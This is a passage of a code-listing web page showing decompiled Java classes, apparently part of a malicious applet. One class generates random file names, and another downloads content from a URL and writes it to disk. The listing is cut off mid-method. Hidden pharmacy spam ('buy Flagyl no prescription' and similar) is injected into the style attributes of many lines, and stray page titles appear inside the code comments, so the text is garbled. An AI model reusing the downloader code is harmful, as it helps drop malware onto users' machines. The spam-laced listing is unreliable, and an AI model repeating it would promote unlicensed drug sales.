<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>         catch(Exception exception)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span>             c_js1.js(&quot;</span>JSM_onLoadFail&quot;, <span style="color: #0000ff">this</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>buy Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span> }</pre>  </div></div></p>
<p><p>c_gP.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl natural</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">class</span> c_gP</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>     c_gP()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>online buy Flagyl without a prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> String gP(<span style="color: #0000ff">int</span> i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>         <span style="color: #0000ff">char</span> ac[] = <span style="color: #0000ff">new</span> <span style="color: #0000ff">char</span>[i];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>         <span style="color: #0000ff">int</span> j = 65;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Buy generic Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         <span style="color: #0000ff">boolean</span> flag = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         <span style="color: #0000ff">for</span>(<span style="color: #0000ff">int</span> l = 0; l &lt; i; l++)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             <span style="color: #0000ff">int</span> k = (<span style="color: #0000ff">int</span>)(Math.random() * 3D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             switch(k)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dangers</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             <span style="color: #0000ff">case</span> 0: // <span style="color: #006080">'<title>Elegant Code &#187; Chris Brandsma</title>'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 j = 48 + (<span style="color: #0000ff">int</span>)(Math.random() * 10D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">case</span> 1: // <span style="color: #006080">'<title>Elegant Code &#187; Chris Brandsma</title>1'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>My Flagyl experience</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                 j = 97 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>             <span style="color: #0000ff">case</span> 2: // <span style="color: #006080">'<title>Elegant Code &#187; Chris Brandsma</title>2'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 j = 65 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>             ac[l] = (<span style="color: #0000ff">char</span>)j;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> String(ac);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl schedule</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span> }</pre>  </div></div></p>
<p><p>c_de.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.io.*;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl street price</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URLConnection;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_de</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl trusted pharmacy reviews</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_de()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">boolean</span> de(String s, String s1)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl online cod</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             String s2 = s1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             BufferedOutputStream bufferedoutputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             InputStream inputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             URL url = <span style="color: #0000ff">new</span> URL(s);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Purchase Flagyl for sale</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>             bufferedoutputstream = <span style="color: #0000ff">new</span> BufferedOutputStream(<span style="color: #0000ff">new</span> FileOutputStream(s2));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             URLConnection urlconnection = url.openConnection();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             inputstream = urlconnection.getInputStream();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             byte abyte0[] = <span style="color: #0000ff">new</span> byte[1024];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             <span style="color: #0000ff">int</span> i;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>order Flagyl no prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>             <span style="color: #0000ff">for</span>(long l = 0L; (i = inputstream.<span style="color: #0000ff">read</span>(abyte0)) != -1; l += i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 bufferedoutputstream.<span style="color: #0000ff">write</span>(abyte0, 0, i);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>             <span style="color: #0000ff">if</span>(inputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 inputstream.<span style="color: #0000ff">close</span>();</pre></p>
